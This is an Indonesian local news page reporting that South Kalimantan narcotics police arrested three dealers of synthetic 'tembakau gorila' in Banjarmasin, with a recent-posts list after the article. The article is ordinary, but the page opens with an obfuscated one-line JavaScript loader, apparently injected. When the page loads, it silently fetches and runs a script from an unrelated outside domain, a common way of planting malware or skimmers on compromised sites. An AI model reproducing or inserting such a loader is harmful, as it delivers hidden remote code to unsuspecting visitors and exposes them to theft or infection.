(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tiga Pengedar Tembakau Gorila Dibekuk, Salah Satunya Perempuan


BANJARMASIN, Jajaran Timsus Direktorat Narkoba Polda Kalsel berhasil menciduk tiga pengedar tembakau gorila merek Monkey Banana di lokasi berbeda, Rabu (18/7) pukul 16.30 Wita. Mereka adalah D warga Jalan Veteran Kecamatan Banjarmasin Timur, GT H alias H warga Jalan Martapura Lama Km 8 Kecamatan Sungai Tabuk, Kabupaten Banjar, serta seorang perempuan HM, warga Jalan Gerilya Kecamatan Banjarmasin Selatan.

Ketiganya diciduk di tiga TKP berbeda yakni di Jalan Banua Anyar, Kecamatan Banjarmasin Timur, kemudian di Jalan Martapura Lama Kecamatan Sungai Tabuk, dan lokasi ketiga di warung milik HM di Jalan Gerilya, Kecamatan Banjarmasin Selatan.

Direktur Direktorat Resnarkoba Polda Kalsel Kombes M Firman mengatakan, polisi pertama meringkus pelaku GT di Jalan Benua Anyar pukul 11.30 Wita dengan barang bukti 1,24 gram tembakau gorila. “Penangkapan selanjutnya dilakukan di Jalan Martapura Lama, pukul 14.00 Wita dan selanjutnya penangkapan dilakukan di Jalan Gerilya pukul 16.30 Wita. Dari penangkapan di tiga lokasi itu tiga tersangka D, GT, dan HM,” kata M Firman, Kamis (19/7).

Secara terinci, Labag Opsnal Ditresnarkoba AKBp Daryanto menambahkan, penangkapan pertama dilakukan terhadap D dalam suatu transaksi yang dilakukan petugas di tepi Jalan Banua Anyar Kecamatan Banjarmasin Timur. Dalam penangkapan itu petugas menemukan dan menyita barang bukti berupa tembakau gorilla dengan berat kotor 1,24 gram.

Tak berhenti di sana, sekitar pukul 14.00 Wita, melakukan gerak lagi dan menangkap GT H di rumahnya yang beralamat di Jalan Martapura Lama Km 8, Kabupaten Banjar. Di sini petugas menemukan satu paket biji ganja dengan berat kotor 12,83 gram dan satu paket tembakau gorilla berat kotor 1,81 gram. GT H pun mengakui kepemilikan barang-barang tersebut.

Selanjutnya sekitar pukul 16:30 Wita, polisi melakukan penangkapan terhadap satu wanita berinisial HM di Jalan Gerilya Kecamatan Banjarmasin Selatan. Di sini ditemukan tujuh paket tembakau gorilla dengan berat kotor 20,44 gram.

Menurut Daryanto,  hasil pemeriksaan di labotarium hasilnya positif tembakau gorilla, maka ketiganya mereka tahan. Selain itu di lokasi pihaknya temukan puluhan bungkus tembakau gorilla.(ammar)

Reporter: Ammar
Editor: Chell

Desy Arfianty

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

1 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

1 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

4 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

6 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

7 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

9 jam ago

This website uses cookies.